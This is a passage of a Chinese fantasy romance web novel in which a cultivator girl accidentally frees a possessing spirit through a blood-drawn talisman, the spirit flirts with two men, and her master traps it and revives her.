她模模糊糊觉得应该是生魂掌寿命、觉魂掌感知、灵魂章精神力量,也不知道准不准确。
按照书上说,生魂恶念重、觉魂善念为主、灵魂半善半恶。
苏林琢磨:“那我身体里这个是什么魂?”
她仔细回忆了一路走来的心路历程,没觉得多恶多善,都怪这一路太顺利,没啥考验机会。
她也就算是个正常人吧,难道是灵魂?
苏林又把书翻了一遍,发现其中涉及三魂的地方,前后有矛盾,越发拿不准了。
她想重新翻一遍,但一想到这么厚一本书全是废话,看了一遍已经让人思维混乱,再看一遍得吐,于是放弃,直接翻到最先震惊自己的符箓那页。
标题是:招魂口诀和符。
这一页倒是简洁明了,整页就一张符文,下面是一行口诀。
这么精准的风格让苏林感动,要是全书都这样,还费什么劲?
“用这个符就能招魂来?”苏林也是好奇,用手指沾茶水照着画了一个,对照书中所记载的,念了两遍口诀,瞪眼等了半天,啥反应没有,连一阵小风都没有。
“难道是画得不像?”苏林想起来画符得用黄纸、朱砂,这大晚上的到哪儿去找这两样?
苏林在屋里找了一圈,没找见,回头发现这页书的纸张是黄色的,至于朱砂嘛,也可以用血代替。
她把指头在“封神”刃上一抹,察觉微疼,赶紧松开,一条小口子流出血来,她把血按在书上,边挤伤口出血,边照着书上所画的符文描摹了一遍,心说这样应该不会画错了。
画完,她又等了一会儿,还是没啥反应。
“呔,这糙蛋的垃圾书。”苏林把书摔出八丈远。
“哐当”一声,门开了。
苏林吓了一跳,定睛一看,是莫怀仁。
苏林问:“你来干嘛?”
莫怀仁瞅了她一眼,视线在房内扫视,并未发现什么异样。
头顶上一阵微弱的声音传来,莫怀仁抬头望去,是一只飞蛾撞在蜘蛛网上,拼命扑棱翅膀挣扎。
苏林也看见了,见莫怀仁奇奇怪怪的,没多言。
莫怀仁查看一圈,面带疑惑,问:“你这里可有何异常?”
苏林心想:异常就是半夜三更师尊突然闯进徒儿的房间,除了这个没别的异常。
她摇了摇头。
莫怀仁皱起眉头,很严肃的样子,转身出门时又回望了一眼,见室内一切如常,神色带疑地走了。
苏林巴巴看着莫怀仁突然来,默默地走,还没关门。
她满脑袋问号,走到门边望出去,莫怀仁的身影已经不见了。
她把摔出去的书捡回来,给苏佑送过去。
苏林忙活了大半夜,收获甚小,书没还成,又抱了一只小喇叭回来。
小喇叭今晚格外兴奋,非要苏林给他讲故事,还指定要讲红本本上的故事,还别说,这本子上乱七八糟的传说倒是挺合适小喇叭,小喇叭越听越起劲,一直闹到快三更才睡。
五月天气已经热起来,苏林闷热得睡不着,只好开着窗户,胡乱眯着。
子时,刮起一阵大风,吹得树叶哗哗乱响,星月被云遮住,屋中烛火熄灭,周围黑漆漆睁眼看不见任何东西,一道闪电毫无征兆地从云中劈下,落在常明堂的屋脊上。
紫色的闪电连接天地。
迅猛绚丽,却又静悄悄的。
夜色中,等了好一会儿,才从天边滚来一串渐大的雷声,懒懒地震动天地。
雨顺势下起来,打
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在瓦片、池塘、叶子上,静夜变得热闹。
不少小飞虫被雨赶出藏身的草丛,慌不择路地闯入房中。
大风扫尽潮热的空气,苏林趁这阵凉爽睡沉了。
一滴雨珠打在青瓦片上,顺着瓦片从滴水落下,被风斜吹到檐下,挂在了窗棂上,将落未落。
又一阵风从窗外而来。
吧嗒
雨珠滴落在红书的扉页上。
一个轻柔的女子声音传来:
“呵,又是人间吗?”
打开的书正好停留在招魂符那一页,符文上,拉起一缕直上的青烟,不受风的影响,直升到横梁的位置,化成一朵莲花,而后散开,是一缕透明的魂,漆黑的夜里看不见她的形状,但空气中出现了让人汗毛战栗的冷意。
她看向自己透明的躯体,餍足的蜘蛛正好悬丝垂下,从容穿过她的身体,她轻轻地叹息一声,目光落到下方的床上,看见苏林正睡得香甜。
游魂纵身跃下,落到苏林身上。
她睁开眼,抬起手,动动手指,确定自己能自如地控制这副躯体。
她从床上下来,没有穿鞋,赤脚踩在冰凉的地面上,熨帖的触感让她喟叹。
她张开双臂,手指忍不住去触碰周围的所有的东西,硬的木桌、微凉的细腻的瓷杯、柔软的小被子、软乎乎的小家伙......这一切真实得可爱。
她拉开门,一阵风温柔地扑在她脸上,风中夹杂着水雾,有不知名的花香草香味和泥土的腥味儿。
她深深地吸了一口气,感受到气息在身体内的游走,胸腔中的心脏有力地跳动着。
真好啊!
她又活过来了。
这时的苏林一转腕,唤出掌心的蓝火,她对着火苗吹了一口气,火苗折腰晃了晃,恢复如初。
“咦?”苏林疑惑。
她另一只手结印,重新摊开手掌送出,小火苗依然在掌心,脱离不开她的本体。
苏林无奈吐槽:“怎么选了这具肉身,什么都不能干,就一火折子。”
她察觉到陌生的气息,扭头看到一个清隽的少年正立在屋檐下,被雨淋湿的半边衣裳贴在身上,勾勒出凹凸有致的肌肉轮廓,虽然年少,但已是个会咬人的小狼狗了。
他目光有神,略有诧异,问:“小喇叭睡了?他怕打雷,我来看看。”
苏林闻言,觉得有趣,含笑看着他。
冷杉觉得苏林有点儿奇怪,问:“你怎么了?”
正此时,又一道闪电无声地划过,把地上照得雪亮。
苏林说:“我也怕打雷。”说着往前一探,顺势钻进了冷杉的怀中,抱着少年紧紧的腰身。
冷杉被这突如其来的温软惊呆了,浑身僵硬,张口结舌。
苏林嘿嘿一笑,脑子里却突然冒出一个声音:“你知道他是谁吗,刚见面就上手,他才多大!你还要不要脸?!”
苏林顽皮地撇撇嘴:“管他是谁,我连肉身都没有,哪有脸呢?再说了,抱一抱自己喜欢的东西,有错吗?”
她手上摸了摸:“哪里小了,我觉得挺大的......”
30. 第 30 章
“我觉得我们有必要谈谈。”原本的苏林提议。
“谈呗。”重获新生的苏林无所谓。
“你先把冷杉放开!”原苏林义正言辞地喝道。
“哦~~原来你叫冷杉。”苏林抱得更紧了。
“把身体还给我!”
“什么你的我的,一起用呗。”苏林脑中的对话丝毫不影响她对冷杉上下其手。
可惜天黑,看不清小帅哥错愕、害羞又窘迫的表情。
幸好天黑,旁人看不见,冷杉感觉自己像一只快煮熟的虾子,又烫又硬,他赶紧挣开苏林的胳膊,飞也似地逃跑了。
苏林咯咯咯地笑起来。
“你还笑!这让我以后怎么面对他?”脑子里的苏林大叫。
“那就不面对呗,我替你,我很乐意面对他哟~~”苏林笑着说,意犹未尽地回味了一下方才的手感。
“你是谁?”原苏林问。
“跟你一样,也是一缕魂,不是你把我放出来的吗?”苏林对一切都很有兴趣,不住地用身体去接触这个世界,她看雨可爱,便伸出手去接屋檐下的雨滴,丝毫不在意被淋湿。
苏林没听见脑中的声音,奇怪地问:“你怎么不说话了?”
“你是三魂中的哪一魂?”原本的苏林问。
苏林说:“魂还有名字吗?谁知道呢,这些名字不都是人取的吗?叫什么都成,没关系的。”
“那我怎么叫你?”
苏林歪头想了想,说:“我是闫林秀啊。”
“好,你是闫林秀,我还是苏林。你快把身体还给我。”苏林无力地在脑中咆哮。
闫林秀笑道:“那可由不得我。”
“能送你回去吗?送魂符?”苏林问。
闫林秀笑得更灿烂了,说:“那可由不得你了。”
“你要干嘛?”苏林升起不好的预感。
闫林秀站起身,朝前走去,边走边说:“我记得刚刚冷杉是往这边走的,那个是他的房间吗?”
苏林急了,问:“你要干嘛?”
闫林秀说:“被禁了这么多年,难得重返人间,怎能白白浪费这良宵呢?”
“闫林秀,你别招惹冷杉,他还是个孩子!!!!”苏林嗓子都快喊劈叉了,也没能阻止闫林秀迈向冷杉房间的脚步。
“哎呀呀,我以为身躯被禁锢已经很糟糕了,没想到最可怕的是身体自由,心却被禁锢,并非身不由己,而是作茧自缚。”闫林秀笑嘻嘻地边走边说,“啧啧啧,枉费你占着一个豆蔻年华的好躯体,怎么想法这么老掉牙呢?枉费你身边有这个可爱的小哥哥,怎么就没点想法呢?你真是暴殄天物。要知道天予拂取,是大凶!”
随着闫林秀话音落下,是门被推开的声音。
苏林那个糟心啊,心说你个冷杉啊,被人调戏还不关门,男孩子出门在外会不会保护自己啊!
闫林秀抿嘴一笑,说:“说不好,人家就是故意不关门的呢?”
苏林被这个猜测震懵了:不是吧,不会是这样的。
正此时,天边一道闪电,恰似掴在苏林脸上的一记响亮的耳光。
闫林秀刚探身,就被黑暗中的一只手拉进了门里,闫林秀被抵在门后,一声炸雷惊得人一跳,冷杉低头看着她,捂住她的耳朵,问:“还害怕吗?”
又是一道闪电,让三人看清了彼此。
苏林觉得此刻的自己亮得可怕。
少年的眼睛里干净又明亮,闫林秀看得愣了一楞,伸手摘下他捂在自己耳朵上的手,问:“你说什么?”
苏林咬牙切齿地问:“他问你害不害怕!”
闫林秀无暇理睬苏林,一心等待冷杉的回答。
冷杉说:“刚,打雷,你说害怕,现在,还害怕吗?”他竟然结巴了。
苏林想捂脸,可惜没□□,她自觉没眼再看下去,但眼睛长在闫林秀身上,炯炯有神看得目不转睛。
两人离得太近,这个距离其实看不清什么了,但是能听到对方的心跳,如战鼓;能感受到对方的体味,是干净的少年的轻汗味儿;能感受到对方的体温,两人之间的温度逐渐升高。
闫林秀低低一笑,毫无思想负担地往前一靠,又、又、又靠在了冷杉的胸脯上!
苏林觉得自己不如死了算了。
冷杉竟然没有躲!
苏林觉得自己不如再死一遍。
冷杉这小子竟然捧起苏林的脸,借着闪电的光辉照明,轻轻地把嘴唇凑到苏林脸颊,郑重地开始,却飞快地擦过,而后主动抱住苏林,把下巴搁在苏林耳边,让震耳的呼吸声吹热苏林的耳垂。
少年的表白也只能做到这一步了。
在这个冷杉与“苏林”的定情夜,苏林本主心如死灰、生无可恋。
相识不到一分钟的两个人,竟然如此不知羞耻地抱在了一起。
苏林看不懂这个世界了。
“你还想看懂这个世界?就你这眼神儿?”正被爱情的怀抱温暖着的闫林秀竟还能抽空跟苏林聊世界。
苏林发现闫林秀的脸歪冷杉肩头,竟顺势在冷杉脖子上亲了一下,亲得小帅哥浑身一震,她却嘿嘿嘿地把人抱得更紧了,苏林忍不住暗骂一句:“无耻。”
闫林秀反驳道:“我怎么无耻了?我不过是把心中所想付诸行动。”
“可我心中根本没想过撩冷杉。”苏林说。
“我想过,他也想。”闫林秀嘻嘻地笑了。
苏林无语:“你怎么知道他想?”
“不知道啊,所以试了一下,你看,他的确想。”闫林秀作势挣开,反被冷杉箍得更紧,再用力点儿,两人能成麻花了。
苏林彻底无语。
看来冷杉不仅想,还想得挺深入。
他们是从什么时候开始的?
是在茅湾时势均力敌引起了特别的留意?
还是在灵霄山擂台上并肩作战时交付了信任?
亦或是沦落时的惺惺相惜?
艰难时的不离不弃?
苏林从没留意过,她从来只看前方,没有注意过身边流动的细微情义。
那她的前方有什么呢?
苏林难得地陷入了沉思。
她感受到自己的手落入到一个温暖有力的手掌中,心中竟微微颤动,这感觉十分微妙。
她回味起方才的拥抱,虽然身躯中主导的是闫林秀,但苏林也能感受到,冷杉抱得太用力了,他还不会拥抱。
但不妨碍苏林感受到放松和满足,仿佛心脏在融化、在发烫。
或许应该多多的拥抱,缓解心中的迷茫和焦虑。
苏林想到这里,冒出一个问题:抱谁呢?
她脑子里第一个蹦出来的竟然是莫怀仁!
呸呸呸,赶紧扫开,肯定是刚刚莫怀仁突然出现,本能想起最后见到的人,不算不算。
“嘿嘿嘿,原来你喜欢成熟稳重外冷内热的师尊啊!”闫林秀不知何时已经被冷杉送回房中,毫无倦意,神采飞扬。
她说:
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“我还以为你喜欢的是陆绍。”
苏林赶紧否认:“别乱说,陆绍已经成亲了,娃都能打酱油了。”
闫林秀笑道:“你喜欢人家和人家成亲有娃有关系吗?我说的是‘喜欢’,又没说要推倒。”
她眼珠子一转,鬼精鬼精地说:“这么说,你想推倒莫怀仁?”
苏林发现不能跟闫林秀讲常理,不理她最明智。
闫林秀窥见苏林内心,奸笑起来,说:“来都来了,夜这么长,不如再去会一会莫师尊吧。”
苏林人都麻了,问:“你来到底是干嘛的?”
闫林秀无辜地摊手:“自然是游戏人间啊!难得来人间一趟,不趁机好好玩一玩吗?不然,你来干嘛的?”
这个问题问得好,问得苏林哑口无言。
说修炼,她脸皮没那么厚。
说前缘,似乎也没什么好续的。
说找魂......
被她找到的二魂----闫林秀伸了个懒腰说:“长夜漫漫,好无聊啊!莫怀仁住在哪儿啊?”
“你要干嘛?”苏林警告:“你要敢轻举妄动,我就,我就……”
闫林秀好整以暇,笑道:“你就干嘛?”
苏林想了想,还真拿她没办法,突然想到一个问题,她闭上嘴,在心里默默地想:“我不说话,你也能听见吗?”
闫林秀眼珠一转,也把嘴闭上,在心里回应:“共用一套肉-体,必然能共情啊,所以,没事别想七想八。”
苏林验证了所想,成功岔开了话题,点点头。
好吧,至于找魂,她也不那么想了,就那样吧。
既然心意想通,两个魂交流就更容易了。
苏林问:你要怎么才能让我控制肉-体?
闫林秀说:我不知道。
苏林又问:你说是我把你放出来的?
“对啊!”闫林秀闲不住,或者说不想浪费占据肉-体的时间,到处乱转,走到小喇叭身边,摸了摸他肉嘟嘟的小脸蛋,拿起窗前的的书,说:“就是这个,镇魂符,你念了解咒口诀,我就出来了。你知道吗,这里面黑漆漆的,我在这里头整整呆了....”
她看清书上的字,说:“咦,这上面怎么写的是招魂符?”
苏林反应过来,骂道:“嗨,歪打正着了,这书忒坑人了。”
闫林秀把书凑到油灯下,仔细看了会儿,说:“你看,这一页纸张其他页不一样,边缘有被裁剪过的痕迹,字迹更深,字体也有些许不同。”
她把书页扒开,露出装订的痕迹,说:“这页是后面黏上去的。这么明显的痕迹,你之前没看到?”
苏林看得一愣一愣的,老实答道:“没看到。”
闫林秀问:“你成天瞪着俩大窟窿,都看了些啥?”
“这么乌漆嘛黑的,谁看得见?”苏林争辩道:“再说了,我那是对知识的渴望,专心看书的人,心无旁骛,谁会研究这个?”
“那你学到了什么知识?”闫林秀问。
苏林:“嗯......”
闫林秀啧啧两声,说:“欲语还羞的小帅哥看不见、别有用心的大帅哥也视而不见,你那一双眼睛长着干嘛,显脸小吗?”
“别有用心?”苏林莫名其妙,“谁?”
闫林秀翻了个白眼,整了整衣衫,又朝门外走去。
苏林问:“你又要到哪里去?”
闫林秀嘿嘿一笑,说:“当然是带你去重新认识这个世界呀~”
31. 第 31 章
当闫林秀敲响莫怀仁的房门时,苏林整个人都不好了。
她已经放弃挣扎,试图理性地讨论这件事情,苏林说:“一分钟前你才和小帅哥交换了真情,现在你又敲响另一个男人的门,这又有什么说法?”
“不是你想来的吗?”闫林秀反问,“我只是遵循你的本心啊!”
“不,我不想。”苏林冷静地否认。
“不,你想。”闫林秀肯定地回答。
吱嘎~~~~
门开了。
莫怀仁已经沐浴更衣,头发上还滴着水,开门见是苏林,有些诧异。
“你打算怎么办?”苏林问闫林秀,“不会又投怀送抱吧?”
“瞧着点儿,看我的。”闫林秀跟苏林说完这句话,全情投入到此情此景中,说:“师尊,我害怕。”
“切,又是这招。”苏林吐槽。
“管他新招旧招,有用就行。”闫林秀说。
莫怀仁没动,他比苏林高了一个头,目光低垂,可能因为角度原因,苏林总觉得莫怀仁目光里有那么一丢丢蔑视。
他问:“怎么了?”
闫林秀说:“我也不知道,你走之后,我觉得房里突然冷飕飕的,好像有什么东西。”
苏林听了这句话,问:“你那时候就出来了?”
闫林秀回答:“诀念完自然就出来了,莫怀仁进来,吓我一跳,我看他法力高深,就等了等,才现身。”
闫林秀说:“师尊,我害怕,不敢回去了,今晚睡你这儿好不好?”
苏林简直要吐血:“你这也太直接了!”
“成年人嘛,那么含蓄干嘛?”闫林秀说。
“要是人家拒绝,多尴尬啊?”苏林捂脸。
“尴尬多少钱一斤?我不尴尬,尴尬就是别人。”闫林秀无所谓,“反正试试呗,不愿意就算了,万一人家愿意呢?”
苏林无语:“道理是这个道理,但是,你试错的频次是不是略高了点儿?要是他也愿意,前头还有个冷杉,两个人都愿意,你怎么办?”
“那不更好,多刺激!”闫林秀眼里放光。
苏林彻底无语。
莫怀仁眼睛微微眯起,冷冷看着闫林秀。
苏林经过前番演练,脸皮也厚了,死皮赖脸地迎接莫怀仁的目光。
反正她已经认命了,也无能为力,死猪不怕开水烫。
成还是不成,给句话吧!
莫怀仁没有说话,但是一侧身,把门让开了。
苏林觉得这个世界已经彻底疯癫了,的确值得重新认识。
闫林秀高兴地跳过门槛,走进莫怀仁的房间,很是好奇他的卧房里是什么样子的。
出乎她的意料,房间里的摆设格局跟苏林、冷杉和苏佑房间的一样,不同的地方就是墙上多挂两幅字画、一把剑和一只萧。
闫林秀问:“师尊,你这里只有一张床,我睡哪儿啊?”
“你要不要这么迫切?”苏林淡淡地说。
闫林秀说:“啧,成年人嘛!”
苏林无奈。
咣当~
莫怀仁没有回答她,但是反手把门关上了。
这个世界,苏林已经彻底不懂了。
莫怀仁才沐浴出来,身上随意裹着一件青袍,不同于平日里的冷肃威严,多了几分慵懒和性-感。
看得苏林都心脏突地一跳。
闫林秀啧个不停:“还得是成熟男人,够劲儿,劲儿劲儿的。”
莫怀仁冷冷盯着闫林秀,吊起嘴角,一笑,抬起手拉开衣襟,露出里面光-溜-溜的胸膛。
“我艹!”苏林幸好没有肉-身,不然此刻必然飚鼻血,她泪流满面,不禁感叹:“不是吧,成年人的情感世界都这么简单、直白、刺激的吗?”
没等苏林看清对方的行动,莫怀仁已经一步上前,一手揽住闫林秀的后腰,一手按住她的后脑勺,把人揽进了怀中。
苏林第二声“我艹”没出口,却听闫林秀惊呼一声:“啊呀!”
“怎么了?”苏林这一句却是实实在在张口说出来的。
她跟闫林秀位置交换了。
苏林这才察觉情况有点不对,她眼前一片漆黑,想往后退,但被堵住了退路,“轰”地一声,她整个人突然失重,往一片漆黑的漩涡中直坠下去。
“啊~~~”苏林张开嘴,却发不出声音。
“摄魂阵,快闭嘴,守住心神。”苏林脑中出现闫林秀的警告声。
苏林感觉自己不断下落,速度越来越快,灵魂仿佛要追不上肉-体下坠的速度,将要从头顶脱飞出来,她赶紧闭上嘴,紧闭双眼,稳住呼吸,守住心念。
这个坠落的时间漫长得让苏林绝望,脑中闫林秀也没有了声音,她感觉身体越来越虚弱,咬牙坚持了不知多久,下坠突然停住。
她缓缓睁开眼,脚下出现了一片蓝光,蓝光利落地收缩成线,形成了一个漂亮的法阵,最中心的阵眼是一个水滴。
随着周围法阵的光线弱下去,那水滴渐渐明亮起来。
“闫林秀,你还在吗?”苏林缓过来,赶紧寻找闫林秀。
等了有一会儿,才听到闫林秀虚弱的声音:“还在......”
苏林松了一口气,问:“这是什么?”
这个小水滴一出现,不光是闫林秀,就连反应迟钝的苏林都感觉到了一股奇妙的亲近感。
“是老三......”闫林秀很虚弱,声音比前一句更弱。
苏林看那水滴光华流转,似乎也感应到她和闫林秀的存在,渐渐亮起来,蓝光渐亮变成刺眼的白光,水滴开始颤动,像是有什么东西在里面挣扎,想冲破法阵,暗下去的法阵线重新发出蓝光,但水滴里的力量也在增长,不断碰撞,把些许蓝光撞得飞散出去。
“要去帮忙吗?”苏林问。
闫林秀没有回答。
此时,被挣散的蓝光在上空汇聚,形成一个硕大的手掌。
“安静些......”耳边传来一个声音,那巨大的手掌轻轻按下去,水滴的强烈白光从指缝中射出,几乎刺瞎苏林的眼睛,不多时,白光渐弱,又过了片刻,恢复成浅浅的蓝绿色。
苏林还想再看看,被人从后心猛地推了一下,整个人往前摔回了现实,被人扶住。
脱力感和
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倦意突然席卷而来,苏林只来得及抬起眼皮看了一眼,扶住她的人是莫怀仁,就虚脱地昏了过去。
昏睡中,苏林又出现了被莫怀仁气息冲晕时的奇妙状态。
她的神识已经醒了,但眼睛睁不开。
她恍恍惚惚地从飘到了半空,看见自己睡在莫怀仁的床上,而莫怀仁坐在门前打坐,门大开着,窗外的月光如白纱一样铺在地上,像为莫怀仁设下的舞台。
苏林这次知道了,是她的魂飘出了躯壳。
她开始在周围寻找,闫林秀是否也在。
她都被震出来了,闫林秀会怎么样呢,不会被吸入那个法阵吧。
苏林在房中没有找到闫林秀,或许她在外面,她说过害怕莫怀仁法力高深。
苏林飘到门口,被莫怀仁挡住了去路,她往上一跃,伸手抓住门框,要荡出门去,却被什么挂住了。
她回头一看,是莫怀仁伸手抓住了她的脚踝,口中念念有词,一挥手,她就被甩回了肉-身。
苏林睁开眼,仍感虚弱。
莫怀仁端来一碗水,递来一个硕大的丸子,对苏林说:“对付灵魂出窍,最朴实的丹药反而最有效。”
苏林闭上眼再睁开,不敢相信重回“狗蛋”噩梦。
她挣扎道:“我觉得我好了,能不吃吗?”
莫怀仁难得耐心地解释:“你这回不是简单的灵魂出窍,而是险些被人夺舍,比上次更虚弱。”
苏林问:“夺舍?那那个魂魄呢?”
莫怀仁说:“不知道,是缕残魂,可能被打散了。”
苏林闻言若有所思,默默接过六味补气丸,就水吞了下去。
莫怀仁没有说错,这次吃下六味补气丸,效用不如上回明显,苏林只是体温稍稍回升,人依然虚弱,她看了看莫怀仁,说:“师尊,我想抱抱你,可以吗?我害怕。”
莫怀仁默默地看了她一会儿,放下手中的杯碟,坐到床边,抬起双手,振袖露出手腕,张开双臂,慢慢地靠前,环住苏林,空架着双肘,手轻落在苏林肩上,极轻地拍了两下。
苏林歪头看向莫怀仁的下颌和耳朵,发现他的耳廓上有颗针尖大的痣,挂在耳后的头发还未全干,他身上还有胰子味儿。
苏林并不激动、也不紧张,她静静的,睁眼观察着眼前所见,然后看见了莫怀仁翘起的嘴角,慢慢快蔓延到耳根。
苏林问:“师尊,你笑什么?”
莫怀仁说:“高兴。”
“高兴什么?”苏林心想莫非他也想?
莫怀仁答道:“这次应该可以把白马湖那本秘笈谈回来。”
“嗯?”苏林疑惑,这话题跳跃性未免太大。
莫怀仁兴致不错,说:“你知道你放出了多少被镇压在镇魂符里的游魂吗?你放心,这回我一定好好谈,不会白白让你挨罚的。”
苏林......
“师尊,你怎么发现我不是我的?”苏林问了最后一个问题。
莫怀仁说:“因为被附身的你,看我的时候,眼中没有三分讥诮、三分凉薄和四分不屑。”
苏林尬笑两声:呵呵,情绪有这么明显吗?